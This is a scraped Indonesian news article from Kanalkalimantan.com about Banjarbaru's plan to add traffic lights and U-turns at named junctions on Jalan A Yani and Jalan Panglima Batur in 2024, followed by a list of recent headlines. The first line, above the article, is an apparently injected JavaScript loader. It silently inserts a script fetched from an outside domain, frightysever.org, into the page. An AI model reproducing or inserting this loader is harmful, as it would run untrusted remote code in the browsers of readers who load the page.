(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

APILL Baru di Jalan Utama Ibu Kota Kalsel, Ini Rencana Titik Lampu Lalin


KANALKALIMANTAN.COM, BANJARBARU – Dua ruas jalan utama di Kota Banjarbaru, Provinsi Kalimantan Selatan (Kalsel) akan ditambah dengan Alat Pemberi Isyarat Lalu Lintas (APILL).

Wali Kota Banjarbaru Aditya Mufti Ariffin menyebutkan rencana pembangunan Area Traffic Control System (ATCS) dengan menambah APILL seperti lampu merah dan u turn.

Dirinya mengatakan, dengan bertambahnya penduduk di Kota Banjarbaru sebagai Ibu Kota Provinsi Kalsel, masalah kemacetan menjadi salah satu yang harus dihadapi bersama.

Pihaknya mengakui perlunya penambahan APILL di beberapa titik di jalan A Yani dan jalan Panglima Batur.

Baca juga: Resmikan Plant Pertama di Indonesia, Kementerian ESDM: PLN Miliki Cara Paling Cepat Hasilkan Green Hydrogen

“Untuk itu memang perlu dibangun beberapa titik APILL yakni di pertigaan kantor Samsat, simpang empat Tugu Adipura dan persimpangan Guntung Manggis,” ujar Wali Kota Banjarbaru, Senin (9/10/2023).

Termasuk, sambung dia, perlu dibangun APILL di Mekatani Landasan Ulin, daerah penghubung menuju Bandara Internasional Syamsudin Noor.

Sementara itu, Sekretaris Daerah Kota Banjarbaru Said Abdullah yang turut mendampingi menyampaikan, pengerjaan APILL ini akan ditargetkan terealisasi pada tahun 2024 mendatang.

Baca juga: Gudang Kerupuk dan Tiga Rumah Tinggal Arang di Jafri Zamzam

“Pembangunan APILL ini ditahun 2024, maka pada tahun 2023 ini harus selesai dalam segi perencanaan teknis dan non teknisnya, pendanaan dan sebagainya,” ungkap Said Abdullah.

Salah satu titik yang menjadi perhatian, sebut Sekda yaitu di simpang empat Tugu Adipura, jalan A Yani.

“Karena letaknya berada di pusat Kota Banjarbaru, tentunya menjadi simpang prioritas dalam pengerjaan pembangunan APILL,” imbuh dia.

Baca juga: Dua Terdakwa Korupsi Bendungan Tapin Divonis 5 Tahun 6 Bulan Penjara

Pembangunan APILL ini tentunya akan memberikan banyak manfaat, salah satunya mewujudkan komitmen Banjarbaru untuk mengurangi kemaceten lalu lintas dan menciptakan keamanan lalu lintas yang lebih efisien. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

11 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

12 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

12 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

12 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

12 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

13 jam ago

This website uses cookies.